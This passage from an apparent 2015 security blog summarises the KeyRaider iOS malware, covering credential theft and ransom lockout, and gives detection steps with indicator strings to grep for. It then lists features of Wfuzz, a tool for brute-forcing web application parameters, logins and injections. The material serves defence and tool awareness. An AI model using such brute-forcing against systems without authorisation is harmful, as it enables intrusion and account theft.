• Stealing Apple account (user name and password) and device GUID
• Stealing certificates and private keys used by Apple Push Notification Service
• Preventing the infected device being unlocked by passcode or by iCloud service
• In addition to stealing Apple accounts to buy apps, KeyRaider also has built-in functionality to hold iOS devices for ransom.

How to Protect?
Users can use the following method to determine by themselves whether their iOS devices was infected:

1. Install openssh server through Cydia
2. Connect to the device through SSH
3. Go to /Library/MobileSubstrate/DynamicLibraries/, and grep for these strings to all files under this directory:

• wushidou
• gotoip4
• bamu
• getHanzi

If any dylib file contains any one of these strings, we urge users to delete it and delete the plist file with the same filename, then reboot the device.

We also suggest all affected users change their Apple account password after removing the malware, and enable two-factor verifications for Apple IDs

Next time if you want to do Jailbreak of your iOS devices then think first. KeyRaider only effects on Jailbroken iOS devices.

Source: PaltoAltoNetworks 

Read more

by Malik korrich ~ lundi 31 août 2015 0 commentaires

Wfuzz A Tool Designed For Bruteforcing Web Applications

Wfuzz A Tool Designed For Bruteforcing Web Applications

It can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing, etc.

Some features:
  * Multiple Injection points capability with multiple dictionaries
  * Recursion (When doing directory bruteforce)
  * Post, headers and authentication data brute forcing
  * Output to HTML
  * Colored output
  * Hide results by return code, word numbers, line numbers, regex.
  * Cookies fuzzing
  * Multi threading
  * Proxy support
  * SOCK support
  * Time delays between requests
  * Authentication support (NTLM, Basic)
  * All parameters bruteforcing (POST and GET)
  * Multiple encoders per payload
  * Payload combinations with iterators
  * Baseline request (to filter results against)
  * Brute force HTTP methods
  * Multiple proxy support (each request through a different proxy)
  * HEAD scan (faster for resource discovery)
  * Dictionaries tailored for known applications (Weblogic, Iplanet, Tomcat, Domino, Oracle 9i,
    Vignette, Coldfusion and many more.i
    (Many dictionaries are from Darkraver's Dirb, www.open-labs.org)

Payloads:
     * File
     * List
     * hexrand
     * range
     * names
     * hexrange

Encodings:
     * random_uppercase
     * urlencode
     * binary_ascii
     * base64
     * double_nibble_hex
     * uri_hex
     * sha1
     * md5
     * double_urlencode
     * utf8
     * utf8_binary
     * html
     * html decimal
     * custom
     * many more...

Iterators:
     * Product
     * Zip
     * Chain

Download

Read more

by Malik korrich ~ mardi 25 août 2015 0 commentaires